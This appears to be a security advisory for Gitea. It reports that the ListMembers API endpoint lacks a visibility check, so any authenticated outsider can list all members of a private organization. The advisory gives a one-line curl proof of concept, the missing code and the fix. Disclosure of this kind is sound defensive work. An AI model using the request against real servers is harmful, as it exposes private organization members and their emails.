Summary

PR #38145 fixed ListPublicMembers and IsPublicMember but missed
ListMembers. Any authenticated user can enumerate ALL members
(not just public ones) of a private organization.

Affected Versions

<= v1.26.4 (latest) and main branch

Root Cause

routers/api/v1/org/member.go — ListMembers():

// Missing check:
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}

Proof of Concept

Setup: privateorg (private), alice = member, bob = outsider

Bob lists ALL members of private org

curl -s "http://gitea/api/v1/orgs/privateorg/members"
-H "Authorization: token BOB_TOKEN"

Result: HTTP 200

[{"login":"alice","email":"alice@test.com",...}]

Expected: HTTP 404

Note

This is an incomplete fix variant of PR #38145.
That PR fixed public_members endpoints only.
ListMembers (/orgs/{org}/members) remains unpatched.

Fix

Add to ListMembers():
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}

References

• GHSA-prr9-9mp4-5gp2
• https://github.com/go-gitea/gitea/releases/tag/v1.27.0